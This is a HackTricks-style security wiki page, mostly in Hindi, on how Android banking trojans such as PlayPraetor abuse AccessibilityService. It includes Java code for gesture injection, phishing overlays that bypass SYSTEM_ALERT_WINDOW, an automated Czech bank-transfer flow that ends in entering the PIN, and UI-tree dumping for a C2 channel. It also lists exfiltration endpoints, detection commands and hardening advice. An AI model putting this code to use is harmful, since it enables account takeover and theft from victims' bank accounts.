# Android Accessibility Service Abuse {{#include ../../banners/hacktricks-training.md}} ## अवलोकन `AccessibilityService` को विकलांगताओं वाले उपयोगकर्ताओं को Android डिवाइस के साथ इंटरैक्ट करने में मदद करने के लिए बनाया गया था। दुर्भाग्य से, वही **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) मालवेयर द्वारा हथियारबंद किए जा सकते हैं ताकि बिना रूट अनुमतियों के हैंडसेट पर **complete remote control** हासिल किया जा सके। आधुनिक Android बैंकिंग ट्रोजन और Remote-Access-Trojans (RATs) जैसे **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** और कई अन्य समान नुस्खा अपनाते हैं: 1. Social-engineer कर के पीड़ित को एक rogue accessibility service सक्षम करने के लिए प्रेरित करना (the *BIND_ACCESSIBILITY_SERVICE* permission को "high-risk" माना जाता है और इसके लिए उपयोगकर्ता की स्पष्ट क्रिया आवश्यक होती है)। 2. सेवा का उपयोग करके * स्क्रीन पर दिखाई देने वाले हर UI इवेंट और टेक्स्ट को कैप्चर करना, * सिंथेटिक gestures (`dispatchGesture`) और global actions (`performGlobalAction`) इंजेक्ट करके ऑपरेटर की इच्छित किसी भी कार्य को ऑटोमेट करना, * वैध apps के ऊपर full-screen overlays खींचना **TYPE_ACCESSIBILITY_OVERLAY** window type का उपयोग करके (कोई `SYSTEM_ALERT_WINDOW` prompt नहीं!), * पीड़ित की ओर से सिस्टम डायलॉग्स पर क्लिक करके अतिरिक्त runtime permissions चुपके से_GRANTED_ करना। 3. डेटा को एक्सफिल्ट्रेट करना या उपयोगकर्ता एक बिल्कुल सामान्य स्क्रीन देख रहे होने के दौरान रीयल-टाइम में **On-Device-Fraud (ODF)** करना। --- ## अनुमति का अनुरोध ```xml ``` सहायक XML यह परिभाषित करता है कि नकली डायलॉग कैसा दिखेगा: ```xml ``` --- ## दूरस्थ UI ऑटोमेशन मूलभूत तत्व ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change } // Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); } // Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } } ``` केवल इन दो APIs के साथ एक हमलावर कर सकता है: * स्क्रीन अनलॉक करना, बैंकिंग ऐप खोलना, इसके UI tree में नेविगेट करना और एक ट्रांसफर फॉर्म सबमिट करना। * उभरने वाली हर permission dialog को स्वीकार करना। * Play Store intent के माध्यम से अतिरिक्त APKs इंस्टॉल/अपडेट करना। --- ## दुरुपयोग पैटर्न ### 1. Overlay Phishing (Credential Harvesting) एक पारदर्शी या अपारदर्शी `WebView` विंडो मैनेजर में जोड़ा जाता है: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` The victim fake फॉर्म में credentials टाइप करता है जबकि बैकग्राउंड app वही gestures रिसीव कर रहा होता है — कोई संदिग्ध "draw over other apps" prompt कभी दिखाई नहीं देता। > Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page. ### 2. On-Device Fraud automation Malware families such as **PlayPraetor** एक persistent WebSocket चैनल बनाए रखते हैं जहाँ operator high-level commands (`init`, `update`, `alert_arr`, `report_list`, …) जारी कर सकता है। यह सर्विस उन commands को ऊपर बताए low-level gestures में ट्रांसलेट करती है, जिससे real-time unauthorized transactions संभव होते हैं जो उस डिवाइस से जुड़ी multi-factor-authentication को आसानी से bypass कर लेते हैं। ### 3. Screen streaming & monitoring By combining the **MediaProjection API** with an RTMP client library, the RAT live framebuffer को `rtmp://:1935/live/` पर ब्रॉडकास्ट कर सकता है, जिससे adversary को perfect situational awareness मिलती है जबकि Accessibility engine UI ड्राइव करती है। --- ## PlayPraetor – command & control workflow 1. **HTTP(S) heartbeat** – hard-coded list पर iterate करें जब तक कोई domain `POST /app/searchPackageName` के साथ active C2 बताकर जवाब न दे। 2. **WebSocket (port 8282)** – द्वि-मार्गी JSON commands: * `update` – नए conf/APKs पुश करें * `alert_arr` – overlay templates कॉन्फ़िगर करें * `report_list` – targeted package names की सूची भेजें * `heartbeat_web` – keep-alive 3. **RTMP (port 1935)** – लाइव स्क्रीन/वीडियो स्ट्रीमिंग। 4. **REST exfiltration** – * `/app/saveDevice` (fingerprint) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` * `/app/saveCardPwd` (bank creds) The **AccessibilityService** वह लोकल इंजन है जो उन क्लाउड commands को physical interactions में बदलता है। --- ## Detecting malicious accessibility services * `adb shell settings get secure enabled_accessibility_services` * Settings → Accessibility → *Downloaded services* – उन apps की तलाश करें जो Google Play से **नहीं** हैं। * MDM / EMM solutions `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) लागू कर सकते हैं ताकि sideloaded services ब्लॉक हो सकें। * चल रही सर्विसेज़ का विश्लेषण करें: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- ## Hardening recommendations for app developers * संवेदनशील views को `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) के साथ मार्क करें। * `setFilterTouchesWhenObscured(true)` को `FLAG_SECURE` के साथ मिलाएँ ताकि tap/overlay hijacking रोका जा सके। * ओवरले का पता लगाने के लिए `WindowManager.getDefaultDisplay().getFlags()` या `ViewRootImpl` API को पोल करें। * तब ऑपरेट करने से इनकार करें जब `Settings.canDrawOverlays()` **या** कोई गैर-विश्वसनीय Accessibility service सक्रिय हो। --- ## ATS automation cheat-sheet (Accessibility-driven) Malware केवल Accessibility APIs के साथ एक bank app को पूरी तरह ऑटोमेट कर सकता है। Generic primitives: ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ``` उदाहरण प्रवाह (Czech → English लेबल): - "Nová platba" (नया भुगतान) → क्लिक करें - "Zadat platbu" (भुगतान दर्ज करें) → क्लिक करें - "Nový příjemce" (नया प्राप्तकर्ता) → क्लिक करें - "Domácí číslo účtu" (घरेलू खाता संख्या) → फ़ोकस करें और `ACTION_SET_TEXT` - "Další" (अगला) → क्लिक करें → … "Zaplatit" (भुगतान) → क्लिक करें → PIN दर्ज करें Fallback: कस्टम widgets के कारण text lookup विफल होने पर hard-coded coordinates के साथ `dispatchGesture` का उपयोग। दिखा गया: ट्रांसफर से पहले limits UI पर जाकर दैनिक लिमिट बढ़ाने के लिए `check_limit` और `limit` के प्री-स्टेप्स। ## Text-based pseudo-screen streaming कम-लेटेंसी रिमोट कंट्रोल के लिए, पूर्ण वीडियो स्ट्रीमिंग की बजाय, वर्तमान UI tree का टेक्स्टुअल प्रतिनिधित्व डंप करें और इसे बार-बार C2 पर भेजें। ```java private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ if (n==null) return; Rect b = new Rect(); n.getBoundsInScreen(b); CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); sb.append(indent).append("[").append(cls).append("] ") .append(txt==null?"":txt).append(" ") .append(b.toShortString()).append("\n"); for (int i=0;i